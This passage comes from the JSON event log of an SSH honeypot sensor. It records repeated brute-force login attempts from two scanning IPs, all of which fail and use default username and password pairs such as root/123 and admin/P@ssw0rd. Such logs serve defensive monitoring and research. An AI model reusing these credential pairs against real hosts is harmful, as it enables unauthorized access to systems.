sh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:56.160877Z","src_ip":"91.92.40.171","session":"cbd3beeeff95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:56.176623Z","src_ip":"91.92.42.133","session":"7a299d0cce99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:56.662066Z","src_ip":"91.92.40.171","session":"cbd3beeeff95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:57.347997Z","src_ip":"91.92.42.133","session":"7a299d0cce99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:58.046541Z","src_ip":"91.92.40.171","session":"cbd3beeeff95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48998,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e27f6a6e4bc","protocol":"ssh","message":"New connection: 91.92.40.171:48998 (159.203.135.109:22) [session: 8e27f6a6e4bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:01.501101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:01.617708Z","src_ip":"91.92.40.171","session":"8e27f6a6e4bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:01.620878Z","src_ip":"91.92.40.171","session":"8e27f6a6e4bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:02.162467Z","src_ip":"91.92.40.171","session":"8e27f6a6e4bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52000,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab03bb7629d6","protocol":"ssh","message":"New connection: 91.92.42.133:52000 (159.203.135.109:22) [session: ab03bb7629d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:02.691461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:02.738486Z","src_ip":"91.92.42.133","session":"ab03bb7629d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:02.790291Z","src_ip":"91.92.42.133","session":"ab03bb7629d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"password","message":"login attempt [vncuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:03.119910Z","src_ip":"91.92.42.133","session":"ab03bb7629d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:03.247816Z","src_ip":"91.92.40.171","session":"8e27f6a6e4bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:04.232416Z","src_ip":"91.92.42.133","session":"ab03bb7629d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51384,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1424eb73e08","protocol":"ssh","message":"New connection: 91.92.40.171:51384 (159.203.135.109:22) [session: a1424eb73e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:06.718909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:06.856402Z","src_ip":"91.92.40.171","session":"a1424eb73e08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:06.859301Z","src_ip":"91.92.40.171","session":"a1424eb73e08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd","message":"login attempt [admin/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:07.401151Z","src_ip":"91.92.40.171","session":"a1424eb73e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:08.500055Z","src_ip":"91.92.40.171","session":"a1424eb73e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44056,"dst_ip":"159.203.135.109","dst_port":22,"session":"aeb11ad343b5","protocol":"ssh","message":"New connection: 91.92.42.133:44056 (159.203.135.109:22) [session: aeb11ad343b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:08.724256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:09.056641Z","src_ip":"91.92.42.133","session":"aeb11ad343b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:09.121589Z","src_ip":"91.92.42.133","session":"aeb11ad343b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:10.084436Z","src_ip":"91.92.42.133","session":"aeb11ad343b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:11.673215Z","src_ip":"91.92.42.133","session":"aeb11ad343b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51428,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ea3f0bfb0ae","protocol":"ssh","message":"New connection: 91.92.40.171:51428 (159.203.135.109:22) [session: 7ea3f0bfb0ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:12.359262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:12.375638Z","src_ip":"91.92.40.171","session":"7ea3f0bfb0ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:12.445952Z","src_ip":"91.92.40.171","session":"7ea3f0bfb0ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"123","message":"login attempt [jellyfin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:12.940321Z","src_ip":"91.92.40.171","session":"7ea3f0bfb0ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:14.058781Z","src_ip":"91.92.40.171","session":"7ea3f0bfb0ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43754,"dst_ip":"159.203.135.109","dst_port":22,"session":"c73de457334e","protocol":"ssh","message":"New connection: 91.92.42.133:43754 (159.203.135.109:22) [session: c73de457334e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:15.741520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:15.964025Z","src_ip":"91.92.42.133","session":"c73de457334e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:15.967049Z","src_ip":"91.92.42.133","session":"c73de457334e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yun@wocloud.szkj","message":"login attempt [root/Yun@wocloud.szkj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:16.821637Z","src_ip":"91.92.42.133","session":"c73de457334e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42452,"dst_ip":"159.203.135.109","dst_port":22,"session":"4efbb59e377e","protocol":"ssh","message":"New connection: 91.92.40.171:42452 (159.203.135.109:22) [session: 4efbb59e377e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:17.949393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:17.952634Z","src_ip":"91.92.40.171","session":"4efbb59e377e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:18.017471Z","src_ip":"91.92.42.133","session":"c73de457334e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:18.040745Z","src_ip":"91.92.40.171","session":"4efbb59e377e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:18.298984Z","src_ip":"91.92.40.171","session":"4efbb59e377e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:19.388510Z","src_ip":"91.92.40.171","session":"4efbb59e377e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43818,"dst_ip":"159.203.135.109","dst_port":22,"session":"41ca2e3a1c17","protocol":"ssh","message":"New connection: 91.92.42.133:43818 (159.203.135.109:22) [session: 41ca2e3a1c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:22.908597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:22.945136Z","src_ip":"91.92.42.133","session":"41ca2e3a1c17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:23.014467Z","src_ip":"91.92.42.133","session":"41ca2e3a1c17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data","message":"login attempt [data/data] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:28:23.356998Z","src_ip":"91.92.42.133","session":"41ca2e3a1c17","protocol":"ssh"}
